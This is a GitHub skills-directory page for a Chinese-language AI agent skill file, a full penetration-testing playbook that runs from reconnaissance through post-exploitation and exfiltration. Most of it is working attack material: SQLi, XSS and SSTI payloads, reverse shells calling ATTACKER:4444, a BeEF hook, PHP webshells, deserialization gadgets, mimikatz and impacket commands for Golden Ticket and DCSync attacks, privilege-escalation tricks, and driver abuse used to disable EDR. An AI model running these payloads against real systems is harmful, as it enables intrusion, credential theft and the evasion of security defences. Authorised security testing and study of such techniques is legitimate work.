professional-pentest-guide
Skill4 starsChanged 3 months agoMITView on GitHub
職業級滲透測試完整體系 — 從偵察到零日漏洞挖掘的全流程精進指南。整合 PayloadsAllTheThings、HackTricks、OWASP、MITRE
- Reads credentials
In this repository80 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/security-agent-skills.mdcCursor rule
- ai-mcp-securitySkill
- modern-attack-surfacesSkill
- offensive-toolkitSkill
- security-and-hardeningSkill
- security-auditSkill
- security-code-reviewSkill
- ctf-jail-escapeSkill
- ctf-kernel-exploitationSkill
- ctf-misc-toolkitSkill
- ctf-orchestratorSkill
- ctf-playbookSkill
- ctf-technique-atlasSkill
- ctf-training-loopSkill
- ctf-web-exploitationSkill
- ctf-writeup-disciplineSkill
- ctf-writeup-screenshotsSkill
- binary-exploitationSkill
- crypto-attack-patternsSkill
- crypto-ctf-attacksSkill
- cryptography-fundamentalsSkill
- crypto-toolkitSkill
- encoding-realignmentSkill
- exploit-developmentSkill
- exploit-poc-builderSkill
- kernel-exploitationSkill
- zero-day-huntingSkill
- bluetooth-jammer-sweepSkill
- esp32-serial-diagSkill
- flipper-zero-backupSkill
- flipper-zero-firmwareSkill
- hardware-iot-hackingSkill
- nrf24-bitbang-spiSkill
- rf-jammer-firmware-portSkill
- rf-multi-protocol-jammerSkill
- smart-card-driver-debugSkill
- smart-card-usb-directSkill
- wifi-deauth-jammerSkill
- wifi-dualband-jammerSkill
- advanced-pentestSkill
- network-pentestSkill
- pentest-quick-checklistSkill
- pentest-tool-referenceSkill
- pentest-tool-setupSkill
- pentest-workflowSkill
- advanced-attack-chainsSkill
- autonomous-pentest-scannerSkill
- intranet-pentest-advancedSkill
- pentest-report-generatorSkill
- post-exploitation-opsSkill
- chatgpt-web-relaySkill
- darkweb-researchSkill
- email-osint-investigationSkill
- local-network-reconSkill
- network-device-reconSkill
- osint-frameworkSkill
- osint-recon-modelSkill
- parallel-intel-gatheringSkill
- reconnaissance-opsSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 0 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈0
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 810
All four passing = ready to drive a real scan with --max-budget-usd 1 against an authorized target.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
職業級滲透測試完整體系
知識來源矩陣(已深度研究 500+ 網站,479 GitHub repos,214 markdown 文件)
| 來源 | 覆蓋範圍 | 已抓取內容 | 參考文件 |
| PayloadsAllTheThings (GitHub) | 49 個完整攻擊類別 | SQLi, XSS, CMDi, SSRF, SSTI, LFI, LDAP, NoSQL, XXE, CRLF, GraphQL, JWT, IDOR, CORS, OAuth, Open Redirect, DOM Clobbering, DNS Rebinding, Directory Traversal, Encoding, Deserialization, Clickjacking, Account Takeover, Type Juggling, Race Condition, File Inclusion, ORM Leak, SAML Injection, LaTeX Injection, Hidden Parameters, Mass Assignment, Prototype Pollution, Prompt Injection, CVE Exploits, CSV Injection, CSS Injection, Brute Force Rate Limit, Business Logic Errors, Client Side Path Traversal, Cross-Site Request Forgery, Denial of Service, Dependency Confusion, HTTP Parameter Pollution, Insecure Management Interface, Insecure Randomness, Insecure Source Code Management, Java RMI, Regular Expression, Reverse Proxy Misconfigurations, Server Side Include Injection, Tabnabbing, Unicode Injection | references/payloadsallthethings-complete.md |
| HackTricks (書.hacktricks.xyz) | 139 個 README 涵蓋所有攻擊域 | Binary Exploitation (ROP, heap, format strings, stack overflow, SROP, ret2win), Crypto (RSA, TLS, hashes, CTF workflow), Forensics (memory dump, PCAP, carving, Windows forensics), REcon Methodology, Pentesting Network, Pentesting WiFi, Phishing, Python/Lua Sandbox Bypass, Firmware Analysis, AI/LLM Architecture | references/hacktricks-complete.md |
| PortSwigger Web Security Academy | 完整 Web 安全課程 + OWASP Top 10 2025 | SQLi (Boolean, UNION, Blind, Time-based, OAST), XSS (Reflected, Stored, DOM, CSP bypass), SSRF (Cloud metadata, bypass techniques), SSTI (Jinja2, Twig, FreeMarker, Velocity, Tornado), HTTP Smuggling (CL.TE, TE.CL, TE.TE), JWT (alg:none, RS256→HS256, JWK injection, JKU/X5U), OAuth (Auth code flow, implicit, PKCE bypass), CORS (Origin reflection, null origin, wildcard), Business Logic, Race Conditions, Cache Poisoning, Prototype Pollution, GraphQL | references/portswigger-web-security-reference.md |
| Zero-Day Research | Fuzzing + 漏洞挖掘 + Exploit 開發 | AFL++ (LTO, LLVM, cmplog, persistent mode, QEMU/Frida/Unicorn), libFuzzer, syzkaller, OSS-Fuzz, Crash Triage, Root Cause Analysis, BinDiff/Diaphora, Patch Analysis, pwntools, ROPgadget, one_gadget, Heap Exploitation (tcache, fastbin, unsorted bin), Format Strings, Kernel Exploitation (Linux SLUB/cred/modprobe_path, Windows token/PatchGuard), Shellcode (x86_64, ARM), ASLR/DEP/CFG Bypass, Side-Channel | references/zero-day-research-methodology.md |
| RE/Hardware/Mobile | 逆向工程 + 硬體/IoT + 移動安全 | Ghidra (decompilation, Java/Python scripting, Pyhidra), IDA Pro (IDAPython, plugins), radare2/angr (symbolic execution, z3), Firmware (binwalk, flashrom), Hardware (UART, JTAG, SPI, I2C), SDR/RFID/NFC/BLE/Zigbee, Android (Frida, Objection, APK reversing, kernel), iOS (jailbreak, pentesting), Mobile Methodology | references/re-hardware-mobile-reference.md |
| GitHub Security Tools Catalog | 479 repos across 18 categories | Recon/OSINT (62), Web App Security (38), AD/Windows (19), C2 (14), Exploit Dev (37), Fuzzing/VulnResearch (8), RE (47), Mobile (25), Hardware/IoT (34), Cloud (46), Network (10), CTF (13), Payload Collections (15), Red Team (34), Blue Team (23), Password Cracking (4), Stego/Forensics (2), General Security (48) | references/github-tools-catalog.md |
| MITRE ATT&CK v18 | 全技術矩陣 | 14 戰術, 400+ 技術 | (線上參考) |
| OWASP Top 10:2025 | 最新 OWASP 前十大風險 | A01-A10 完整測試指南 | references/portswigger-web-security-reference.md §14-15 |
| The Hacker Recipes | French AD/Windows pentest reference | AD attack paths, NTLM relay, Kerberos, ADCS | (線上參考) |
| GTFOBins | Linux privilege escalation | 75+ SUID/capability exploits | references/payloads/gtfo/ |
第一部分:職業滲透測試方法論
完整攻擊生命週期 (Kill Chain)
1. RECONNAISSANCE(偵察)
├─ OSINT: WHOIS, DNS, 子域, 社媒, 公開洩露
├─ Shodan/Censys/FOFA: 互聯網資產
├─ Google Dorking: intitle/inurl/filetype/site:
└─ Wayback Machine: 歷史快照
2. SCANNING & ENUMERATION(掃描枚舉)
├─ 主機發現: ARP, ICMP, TCP sweep
├─ 端口掃描: nmap -sV -sC, masscan -p1-65535, rustscan
├─ 服務枚舉: SMB, SNMP, LDAP, Kerberos, HTTP
├─ Web 掃描: 目錄爆破(ffuf/gobuster), 參數發現(arjun), tech偵測(httpx)
└─ 漏洞掃描: nuclei --tags cve, nmap --script vuln
3. VULNERABILITY ANALYSIS(漏洞分析)
├─ 已知漏洞: searchsploit, CVE 對應, Nuclei templates
├─ 代碼審計: 靜態分析(semgrep, SonarQube), 手動 review
├─ 模糊測試: AFL++, libFuzzer, ffuf, wfuzz
└─ 邏輯分析: 業務邏輯漏洞, 認證/授權缺陷
4. EXPLOITATION(漏洞利用)
├─ Web: SQLi, XSS, SSRF, SSTI, LFI/RFI, 反序列化, 命令注入
├─ 網路: SMB relay, NTLM relay, 漏洞利用(MS17-010等)
├─ AD: Kerberoasting, AS-REP Roasting, DCSync, ADCS
├─ 憑證: 密碼噴灑, 暴力破解, 已知憑證重用
└─ 社會工程: 釣魚, vishing, MFA疲勞攻擊
5. POST-EXPLOITATION(後滲透)
├─ 特權提升: Linux(SUID, sudo, cron, capabilities), Windows(Potato, service, UAC)
├─ 橫向移動: PsExec, WMI, WinRM, SSH, RDP, PTH
├─ 憑證竊取: LSASS dump, Kerberos tickets, SAM/NTDS dump
├─ 維持存取: 後門服務, 計畫任務, WMI, SSH key, golden ticket
└─ 資料發現: 敏感文件, 資料庫, 配置文件, 源代碼
6. EXFILTRATION(資料外洩)
├─ HTTPS POST, DNS tunnel, ICMP tunnel
├─ 雲端上傳, 加密壓縮
└即時傳輸 vs 延遲傳輸
7. REPORTING(報告)
├─ 風險評分(CVSS 3.1), CWE 對應
├─ 逐字攻擊重現步驟
├─ 證據: 截圖, 流量擷取, 完整命令
└─ 修復建議 + 優先級速度原則(職業標準)
前 15 分鐘:最大並行
→ 同時啟動所有偵察工具
→ 檢查每個服務的預設密碼
→ 不要深挖任何單一發現
→ nuclei -tags vkev,kev -severity critical,high 掃描所有外部資產
第一小時:利用焦點
→ 跟隨已發現的「黃金路徑」
→ 如果沒找到,切換攻擊向量
→ 獲得 shell → 立即轉向內部
第 2-4 小時:整合
→ 後滲透: privesc → lateral → domain
→ 邊做邊記錄攻擊鏈
→ 開始收集證據
第 4+ 小時:報告
→ 截圖、CVSS 評分、CWE/MITRE 對應
→ 攻擊路徑圖
→ 修復建議排序第二部分:工具熟練度矩陣
必備工具(必須熟練使用)
| 工具 | 用途 | 關鍵命令 | |
| nmap | 網路掃描 | nmap -sV -sC -p- --script vuln TARGET | |
| masscan | 大規模端口掃描 | masscan -p1-65535 TARGET --rate=100000 | |
| rustscan | 超快端口掃描 | rustscan -a TARGET -- -sV -sC | |
| ffuf/gobuster | 目錄/參數爆破 | ffuf -u URL/FUZZ -w wordlist.txt -mc 200,302 | |
| nuclei | 漏洞模板掃描 | nuclei -u URL -tags cve -severity critical,high | |
| sqlmap | SQL 注入自動化 | sqlmap -u URL --batch --level=5 --risk=3 --tamper=space2comment | |
| burpsuite | Web 代理/重放/掃描 | Burp Suite Professional + Intruder + Scanner | |
| hashcat | 密碼破解(超快) | hashcat -m 1000 hashes.txt wordlist.txt -O | |
| john | 密碼破解(多功能) | john --wordlist=rockyou.txt hashes.txt | |
| hydra | 線上密碼爆破 | hydra -L users.txt -P pass.txt ssh://TARGET | |
| mimikatz | 憑證竊取(Windows) | sekurlsa::logonpasswords, lsadump::dcsync | |
| impacket(全套) | AD/網路協議利用 | impacket-psexec, impacket-GetUserSPNs, impacket-secretsdump | |
| BloodHound | AD 攻擊路徑發現 | SharpHound -c All → BloodHound 圖形分析 | |
| CrackMapExec/NetExec | 網路瑞士軍刀 | nxc smb 10.0.0.0/24 -u user -p pass --shares --sam | |
| Responder | LLMNR/NBT-NS 毒化 | responder -I eth0 -wrfv | |
| ntlmrelayx | NTLM 中繼 | ntlmrelayx -tf targets.txt -smb2support --adcs | |
| Ligolo-ng | 隧道/樞紐(最快) | ligolo-proxy -selfcert + ligolo-agent -connect | |
| Chisel | 通用隧道 | chisel server --reverse + chisel client ATTACKER R:socks | |
| EvilWinRM | WinRM 遠端管理 | evil-winrm -i TARGET -u user -H HASH | |
| Ghidra | 逆向工程 | analyzeHeadless + Pyhidra 腳本 | |
| pwntools | Binary exploit 框架 | from pwn import *; r = remote(HOST, PORT) | |
| Metasploit | 漏洞利用框架 | use exploit/multi/handler; set PAYLOAD ... | |
| WPScan | WordPress 掃描 | wpscan --url URL --enumerate u,ap,at | |
| testssl.sh | SSL/TLS 測試 | testssl.sh --severity HIGH URL | |
| ffuf | 模糊測試 | 目錄, 子域, vhost, 參數 | |
| Shodan CLI | IoT/設備搜尋 | shodan search 'org:"Target" port:22' | |
| subfinder | 子域發現 | subfinder -d DOMAIN -o subs.txt | |
| httpx | HTTP 探測 | `cat subs.txt | httpx -mc 200 -title -tech-detect` |
| crackmapexec/nxc | 網路滲透(新版) | nxc smb TARGETS -u user -p pass -M mimikatz | |
| certipy | ADCS 利用 | certipy find -u user -p pass -vulnerable, certipy auth -pfx cert.pfx |
新工具學習能力
職業滲透測試師永遠在學習新工具。快速學習流程:
1. GitHub README → 功能定位
2. --help / -h → 參數結構
3. 最小測試 → 驗證基本功能
4. 模擬場景 → 嘗試常見使用案例
5. 整合到工具鏈 → 確認與其他工具配合
6. 進階用法 → 閱讀 wiki/issues/blog posts第三部分:漏洞利用完整參考
SQL 注入
-- 偵測
' OR '1'='1
' UNION SELECT NULL--
' AND SLEEP(5)--
-- 提取
' UNION SELECT 1,2,3,group_concat(table_name),5 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
-- WAF 繞過
/**/SELECT/**/password/**/FROM/**/users
SeLeCt pAsSwOrD fRoM uSeRs
/*!50000SELECT*/ password FROM users
%0ASELECT%0Apassword%0AFROM%0Ausers
SEL%00ECT password FR%00OM users
-- 資料庫指紋
@@version (MySQL), version() (PostgreSQL), @@servername (MSSQL), banner (Oracle)
-- sqlmap 自動化
sqlmap -u "URL?id=1" --batch --level=5 --risk=3 --dbs
sqlmap -u "URL?id=1" --batch -T users -C username,password --dump
sqlmap -u "URL" --data="param=value" --tamper=space2comment,randomcase,between
sqlmap -u "URL" --os-shell --priv-escXSS(跨站腳本)
// 偵測
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
// 繞過
<img src=x onerror=prompt`1`> // 反引號
<details open ontoggle=alert(1)> // details
<select autofocus onfocus=alert(1)> // autofocus
<svg><animate onbegin=alert(1) attributeName=x>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
"><img src=x onerror=alert(1)> // 屬性突破
'-alert(1)-' // JS 上下文
javascript:alert(1) // href
<object data="javascript:alert(1)">
// CSP 繞過
<script src="https://cdn.allowlisted.com/"></script> // CDN bypass
<link rel="stylesheet" href="data:text/css,..."> // data: scheme
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<base href="https://attacker.com/"> // base tag hijack
// DOM XSS
#<img src=x onerror=alert(1)>
location.hash.slice(1) → innerHTML
// BeEF 鉤子
<script src="https://ATTACKER:3000/hook.js"></script>SSRF(伺服器端請求偽造)
# 基本探測
http://127.0.0.1:80
http://localhost:8080/admin
http://169.254.169.254/latest/meta-data/ # AWS IMDS
# 雲端元資料
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Azure
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# 繞過
http://127.1:80 # 簡寫
http://0x7f000001:80 # 十六進位
http://2130706433:80 # 十進位
http://[::1]:80 # IPv6
http://127.0.0.1.nip.io:80 # DNS 重綁定
gopher://127.0.0.1:6379/_FLUSHALL # gopher 協議
file:///etc/passwd # file 協議
dict://127.0.0.1:6379/INFO # dict 協議
# 盲 SSRF
# 用 Burp Collaborator / interactsh 確認請求
# URL: http://burp-collaborator.netSSTI(伺服器端模板注入)
# 偵測
{{7*7}} # 如果回傳 49 → SSTI
${7*7} # FreeMarker/Velocity
<%= 7*7 %> # ERB
#{7*7} # Ruby/Slim
{7*7} # Smarty
# Jinja2 (Flask)
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{config['__class__']['__init__']['__globals__']['os']['popen']('id').read()}}
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Velocity (Java)
#set($e="exp")#set($c=$e.getClass())$c.getMethod("getRuntime",null).invoke($c,null).exec("id")
# Tornado (Python)
{%import os%}{{os.system('id')}}命令注入
# 基本
; id
| id
&& id
|| id
`id`
$(id)
# 繞過空白
cat${IFS}/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
# 繞過過濾
cat /etc/pa''ss''wd
cat /etc/pa\sw\sswd
CAt /eTc/PaSsWd
$IFS是空白替換
$(printf "\x63\x61\x74") /etc/passwd
# 反彈 shell
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
| python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'反序列化
# Python pickle
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(RCE())
# PHP unserialize
O:4:"User":1:{s:4:"name";s:6:"payload";}
# __wakeup, __destruct magic methods
# Java (ysoserial)
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial.jar CommonsCollections7 'bash -c {echo BASE64}|{base64 -d}|{bash -i}'
# .NET (YSoSerial.net)
YSoSerial.exe -g TypeConfuseDelegate -f Json.Net -o base64 -c "cmd /c id"
# Node.js
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(e,s,d){ /* exfil */ })}()"}LFI/RFI(檔案包含)
# 基本
?file=../../../../etc/passwd
?file=....//....//etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.iconv.UTF-8.UTF-7/resource=/etc/passwd
# PHP wrappers
php://filter/read=convert.base64-encode/resource=config.php
php://input + POST body: <?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect://id
phar://uploaded_file.phar
# 繞過
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
%2e%2e%5c → ..\
....// → ../JWT 攻擊
# alg:none 攻擊
{"alg":"none","typ":"JWT"}.{"user":"admin"}.
# 修改 header → alg:none, 移除 signature
# 弱密鑰暴力破解
hashcat -m 16500 jwt.txt wordlist.txt
# 或 jwt_tool
python3 jwt_tool.py JWT -C -d rockyou.txt
# RS256 → HS256 混淆
# 如果伺服器使用 RS256 但接受 HS256
# 用公開密鑰作為 HMAC 密鑰簽名
python3 jwt_tool.py JWT -X k -pk public.pem
# JWK 注入
# 在 header 中嵌入 JWK
python3 jwt_tool.py JWT -X i -pk attacker.key
# JKU/X5U 注入
python3 jwt_tool.py JWT -X s -S u -T "https://attacker.com/jwks.json"檔案上傳
# 繞過副檔名檢查
shell.php → shell.php5, shell.phtml, shell.phar, shell.phps
shell.jpg.php, shell.php.jpg, shell.php.png
shell.pHp (大小寫), shell.php%00.jpg (null byte)
# Content-Type 繞過
Content-Type: image/jpeg + PHP 內容
Content-Type: application/x-php
# Magic bytes
GIF89a + PHP 代碼 # GIF header + PHP
\x89PNG + PHP 代碼 # PNG header + PHP
# .htaccess 上傳
AddType application/x-httpd-php .jpg
# Webshell
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?=`$_GET[c]`?>第四部分:Active Directory 完整攻擊路徑
攻擊路徑圖
初始存取 (任何低權限域帳戶)
│
├── BloodHound 枚舉 → 找到攻擊路徑
│
├── Kerberoasting → 離線破解服務帳戶密碼
│
├── AS-REP Roasting → 不需預認證的帳戶
│
├── ACL 濫用 → GenericAll/ForceChangePassword → 提升權限
│
├── ADCS (ESC1-16) → 證書申請 → PKINIT → TGT
│
├── LLMNR/NBT-NS 毒化 → NTLMv2 雜湊 → 中繼
│
├── NTLM Relay → ADCS HTTP → 機器證書 → DCSync
│
├── BadSuccessor (CVE-2025-53779) → dMSA → DA
│
├── NTLM Reflection (CVE-2025-33073) → SYSTEM
│
└── 憑證密碼噴灑 → 存取其他系統
最終 → DCSync → KRBTGT → Golden Ticket → 永久 Domain AdminKerberos 攻擊速查
# Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request -dc-ip DC_IP -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt
# AS-REP Roasting
impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# Golden Ticket (需要 KRBTGT hash)
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-XXX /krbtgt:HASH /user:Administrator /id:500 /ptt
# Silver Ticket (需要服務帳戶 hash)
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-XXX /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
# DCSync
mimikatz # lsadump::dcsync /domain:domain.local /all /csv
impacket-secretsdump domain.local/admin:pass@DC_IP
# Pass-the-Hash
impacket-psexec -hashes :NTLMHASH domain.local/admin@TARGET
impacket-wmiexec -hashes :NTLMHASH domain.local/admin@TARGET
# Pass-the-Ticket
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass domain.local/admin@serverADCS (ESC1-ESC16) 速查
# 枚舉
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable -stdout
# ESC1: 申請者提供 subject + 客戶端認證 EKU + 低權限可註冊
certipy req -u user@domain.local -p password -ca domain-CA -template ESC1 -upn administrator@domain.local
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip DC_IP
# ESC8: NTLM Relay 到 ADCS HTTP
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs第五部分:特權提升完整參考
Linux 特權提升
# 枚舉
id; sudo -l
find / -perm -4000 -ls 2>/dev/null # SUID 二進位
getcap -r / 2>/dev/null # Linux capabilities
cat /etc/crontab; crontab -l # Cron
find / -writable -type f 2>/dev/null # 可寫文件
cat /etc/passwd /etc/shadow 2>/dev/null
find / -name "*.ssh" -o -name "id_rsa" 2>/dev/null
grep -r "password\|secret\|key" /etc/ /var/www/ 2>/dev/null
env; cat /proc/*/environ 2>/dev/null
ss -tlnp; netstat -tlnp # 監聽端口
# SUID 利用 (GTFOBins)
find . -exec /bin/sh -p \; -quit
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
bash -p
less /etc/shadow → !/bin/sh
# Capabilities 利用
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
# Polkit (PwnKit CVE-2021-4034)
pkexec --version # 檢查是否易受攻擊
# Docker group
docker run -it -v /:/host alpine chroot /host /bin/sh
# Cron 路徑操縱
# 1. 檢查 cron 使用的相對路徑
# 2. 修改 PATH 或在路徑中放置恶意二進位
export PATH=/tmp:$PATH
echo '#!/bin/bash\n/bin/sh' > /tmp/tar
chmod +x /tmp/tar
# Wildcard 注入
echo '#!/bin/bash\n/bin/sh' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# tar 會解譯 --checkpoint 為參數並執行 shellWindows 特權提升
# 枚舉
whoami /priv # 權限
whoami /groups # 群組
systeminfo # 系統版本 + 修補程式
cmdkey /list # 儲存的憑證
wmic service get name,pathname # 服務
schtasks /query /fo LIST /v # 計畫任務
icacls "C:\Program Files\*" # 文件權限
# Potato 家族 (SeImpersonate)
PrintSpoofer.exe -i -c "cmd.exe"
JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c whoami"
RoguePotato.exe -r ATTACKER_IP -e "cmd.exe" -l 9999
SweetPotato.exe -p cmd.exe
GodPotato.exe -cmd "cmd /c whoami"
# 服務劫持
# 1. 找到未加引號的服務路徑
wmic service get name,pathname | findstr -i "auto" | findstr -v "C:\Windows"
# 2. 在可寫路徑放置 Program.exe
# 3. 重啟服務
# UAC 繞過
# fodhelper, eventvwr, computerdefaults, sdclt
# 修改 HKCU\Software\Classes\ms-settings\Shell\Open\command
# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 如果 = 1 → msiexec /quiet /qn /i shell.msi
# BYOVD (2025-2026 主流)
# ProcExp152.sys, DBUtil_2_3.sys, RTCore64.sys
# 載入合法簽名的脆弱核心驅動 → 核心 RCE → 停用 EDR第六部分:零日漏洞研究方法論
漏洞發現技術
1. FUZZING(模糊測試)
├─ 覆蓋率引導: AFL++, libFuzzer, honggfuzz
├─ 語法感知: grammar-based, protobuf mutator
├─ 目標感知: Sydr-Fuzzer, Jackalope
└─ 統計分析: crash 分類 → root cause → 可利用性評估
2. SYMBOLIC EXECUTION(符號執行)
├─ angr: SMT solver + 路徑探索
├─ KLEE: LLVM-based for C
├─ manticore: Ethereum + Native
└─ Triton: 動態符號執行
3. CODE AUDITING(代碼審計)
├─ 靜態分析: semgrep, CodeQL, SonarQube
├─ 手動審計: 危險函數 → 資料流追蹤 → 污點分析
├─ 模式匹配: known anti-patterns
└─ 差異分析: patch diffing → binsearch → BinDiff/Diaphora
4. BINARY DIFFING(二進位差異)
├─ BinDiff: Google 的二進位差異
├─ Diaphora: IDA 輔助的差異分析
├─ PATCHDIFF: Kali 內建
└─ 流程: 補丁前後二進位 → 找到修改函數 → 理解漏洞 → 構建 PoC
5. PATCH ANALYSIS(補丁分析)
├─ 取得 CVE 公告 + 補丁
├─ 比較補丁前後 → 理解修復邏輯
├─ 反向理解原始漏洞
└─ 構建驗證 PoC
6. PROTOCOL ANALYSIS(協議分析)
├─ Wireshark 抓包 → 自訂協議結構
├─ 逆向二進位 → 理解解析邏輯
├─ 邊界檢查缺失 → 構建越界 payload
└─ Fuzzing 模糊測試驗證Fuzzer 使用速查
# AFL++ — 覆蓋率引導模糊測試
afl-cc -o target target.c -lm # 編譯插樁
afl-fuzz -i corpus/ -o findings/ -- ./target @@
# 持久模式 (persistent mode)
afl-fuzz -i corpus/ -o findings/ -V 24h -- ./target
# libFuzzer — LLVM 內建
clang -fsanitize=fuzzer,address -o target target.c
./target corpus/ # 自動生成並模糊
# honggfuzz — 多線程
honggfuzz -i corpus/ -- ./target ___FILE___
# Sydr-Fuzzer — 覆蓋率 + 符號執行
sydr-fuzzer -f target -- ___FILE___
# 網路應用模糊
ffuf -u URL/FUZZ -w wordlist.txt -mc 200,302
wfuzz -c -w wordlist.txt URL/FUZZ
# API 模糊
ffuf -u URL/FUZZ -w wordlist.txt -X POST -H "Content-Type: application/json" -d '{"param":"FUZZ"}'符號執行自動化
import angr, claripy
# 基本發現流程
proj = angr.Project('./target', auto_load_libs=False)
flag = claripy.BVS('input', 8 * 40)
state = proj.factory.entry_state(stdin=angr.SimFile('/dev/stdin', content=flag))
for c in flag.chop(8):
state.solver.add(c >= 0x20)
state.solver.add(c <= 0x7e)
simgr = proj.factory.simulation_manager(state, veritesting=True)
simgr.explore(find=SUCCESS_ADDR, avoid=[FAIL_ADDR1, FAIL_ADDR2])
if simgr.found:
solution = simgr.found[0].solver.eval(flag, cast_to=bytes)
print(f"Found: {solution}")從補丁到零日
# 1. 獲取補丁
apt download PACKAGE # 補丁前
apt download PACKAGE # 補丁後 (更新源)
# 2. 使用 BinDiff 比較
# 載入兩個版本到 Ghidra + BinDiff plugin
# 查看修改的函數列表 → 排序按 change magnitude
# 3. 理解修復
# 被修復的函數通常有:
# - 新增邊界檢查
# - 新增 null 檢查
# - 修改偏移計算
# - 限制長度
# 4. 構建 PoC
# 理解修復前的真實漏洞 → 構造觸發修復行為的輸入
# 5. 驗證
# 在補丁前版本確認漏洞 → 在補丁後版本確認修復第七部分:OWASP Top 10 2025 完整清單
| # | 類別 | 測試方法 | 工具 |
| A01 | Broken Access Control (含 SSRF) | IDOR測試, 路徑遍歷, 權限繞過, SSRF測試 | Burp, ffuf, 手動 |
| A02 | Security Misconfiguration | 預設密碼, 目錄列表, 詳細錯誤, 不安全 headers | nuclei, testssl.sh |
| A03 | Software Supply Chain | 依賴漏洞掃描, SBOM, provenance | syft, grype, cosign |
| A04 | Cryptographic Failures | 弱加密, 硬編碼密鑰, 不安全 TLS | testssl.sh,.semgrep |
| A05 | Injection (SQLi/XSS/CMDi) | 輸入驗證, 參數化查詢測試 | sqlmap, ffuf, XSStrike |
| A06 | Insecure Design | 業務邏輯, rate limit, threat modeling | 手動分析 |
| A07 | Authentication Failures | 暴力破解, session固定, 弱密碼政策 | hydra, Burp |
| A08 | Software/Data Integrity | 反序列化, 未簽名更新, CI/CD | ysoserial, CodeQL |
| A09 | Security Logging Failures | 日誌缺失, 缺少告警 | 手動檢查 |
| A10 | Mishandling Exceptional Conditions | 錯誤處理暴露, panic 洩漏 | 手動觸發異常 |
第八部分:CTF 速查矩陣
| CTF 類別 | 關鍵工具 | 首要方法 |
| Web | Burp, sqlmap, ffuf | 檢查原始碼 → 參數發現 → 注入測試 |
| Crypto | SageMath, pwntools, RsaCtfTool | 識別演算法 → 尋找弱點 → 離線破解 |
| Forensics | volatility, binwalk, foremost, exiftool | file → 檔案類型 → carve → 分析 |
| Reverse | Ghidra, IDA, angr, z3 | file → 字串 → decompile → 約束求解 |
| Pwn | pwntools, gdb-gef, ROPgadget | checksec → 尋找溢出 → ROP/relibc |
| Kernel | pwntools, qemu, bzImage 解包 | 找到驅動漏洞 → modprobe_path 或 commit_creds |
| Misc | Python, jq, zbarimg | 識別編碼 → 解碼 → 自動化 |
| Jail | Python, bash | 列舉可用函數 → setattr/z3 → 逃逸 |
維護規則
- 每次發現新的漏洞利用技術、新工具、新 payload → 立即更新此技能
- 每個 CTF 類別的 solve 應記錄方法論而非單一答案
- 新 CVE 出現時:確認 routing → 抓取 PoC → 分析利用條件 → 更新知識
- 工具更新時:確認命令參數變化 → 更新速查表
- 新的 EDR 繞過技術 → 立即整合到 EDR Evasion 段
複合式攻擊鏈參考
